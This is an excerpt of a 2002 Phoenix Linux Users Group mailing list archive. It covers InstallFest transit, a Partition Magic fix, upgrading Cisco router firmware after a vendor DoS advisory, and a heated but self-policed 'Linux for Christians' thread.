>>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:39:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Tue, 11 Jun 2002 06:39:11 -0700 (MST) Subject: ride sharing for the InstallFest In-Reply-To: Message-ID: Friends, The Scottsdale Community College is served by Valley Metro bus routes #50 Camelback #84 Granite Reef #76 Miller These routes operate every half-hour, all day every day until about 7pm. Fare is $1.25 with free transfers. On-line bus routes and schedules: http://www.valleymetro.org \\/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:46:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:46:04 -0700 Subject: [SOLVED] partition magic In-Reply-To: <20020611060015.5406195d.snoogans@qwest.net> References: <20020611060015.5406195d.snoogans@qwest.net> Message-ID: <20020611064604.48424e67.snoogans@qwest.net> Well turns out partition magic doesn't like ext3 very much, i downgraded back to ext2 so i could resize my partition and it worked just fine, and i am a big fan of partition magic now too :) Just thought i would let everyone know how i fixed it. On Tue, 11 Jun 2002 06:00:15 -0700 "robert jorgenson" wrote: > I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:14:25 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> At least it isn't cox -----Original Message----- From: Mike Butash [mailto:mike@butash.net] Sent: Monday, June 10, 2002 8:21 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Cisco DoS required CBOS upgrade- Qwest complaint It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:20:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:20:15 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> <20020611055205.GA5358@neo.visicomp.com> Message-ID: <3D06071F.7000807@ttiltd.com> Isaac Sparrow wrote: >Can I be second in command? > >VIM rocks! > > Sure No prob. What would be cult without followers anyway? Greg From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:24:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:24:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <3D060829.8090904@ttiltd.com> I guess, whatever makes you happy and propagates linux. Although I think technology should be neutral and not associated with any particular religion. There is enough of flame wars going on out there without mixing the religions ones. RedHat vs. Debian Vim vs. Emacs KDE vs. Gnome you name it.... Now if we start mixing religion to it...... some may start screaming: "Microsoft take me away!" p.s. you will never here that from me tho. Greg Kurt Granroth wrote: >On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > > >>You right I should probably get some of heathens like myslef and creat >>our own distro. >> >>I wonder what should I name it? and how many people will I piss of with >>this one. >> >> >>>>>Looking for something else on Google I stumbled on to The Linux for >>>>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>>>> >>>>> > >Y'know, for all the jokes that have been made about this, it appears to be a >serious and useful (if that's what you are looking for) site. I think too >many people here are viewing this as another Jesux (which I thought then >and still think now is/was a hoax). Jesux was an over-the-top parody of >the old "Unix for the Politically Correct" ("man" becomes "person", and so >on) using Christian instead of PC. What *this* site is is yet another >Special Interests Group with links to software related to their interest. >It's no different, really, than an animal lover offering links to >screensavers, wallpapers, pet interaction programs, and the like. Or any >low-budget advocacy group sharing info on using Linux to advance the cause. > >I actually did something a *little* similar not that long ago with my own >church in an attempt to get people to interact more online. I had some >tutorials and the like written up on how to use Linux and ogg vorbis (and >was getting into icecast) to allow church members spread around the country >and the world to still stay in touch. Hmm.. although in my case, midway >through my work, I was told by the Church Board that I was to cease and >desist any and all work I was doing since the Internet was evil (no joke) >and they thought people should spend less time online, not more. Ah well. > >Okay, got a little sidetracked... :-) > >My point is that while that site's content may not appeal to all people, >it's far from a joke. I just hope they have more luck than I had. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:35:18 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> Message-ID: <3D060AA6.3010503@ttiltd.com> Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:46:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:46:35 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:35 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:56:42 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> Message-ID: <3D060FAA.7090507@ttiltd.com> It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:15:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 13:15:02 -0700 Subject: Linux for Christians In-Reply-To: <3D060AA6.3010503@ttiltd.com> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <20020610201502.GA182@crystaldragon> /------------------\ | PLEASE | | DO | | NOT | | FEED | | THE | | TROLLS | \------------------/ | | | | | | @ _\|/_____|__|______\__ On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:27:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 08:27:56 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:57 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:35:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:35:19 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> <20020610201502.GA182@crystaldragon> Message-ID: <3D0618B7.7030700@ttiltd.com> LOL, thanks. This was little trolling post. Thomas Mondoshawan Tate wrote: > /------------------\ > | PLEASE | > | DO | > | NOT | > | FEED | > | THE | > | TROLLS | > \------------------/ > | | > | | > | | @ >_\|/_____|__|______\__ > >On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > > >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From 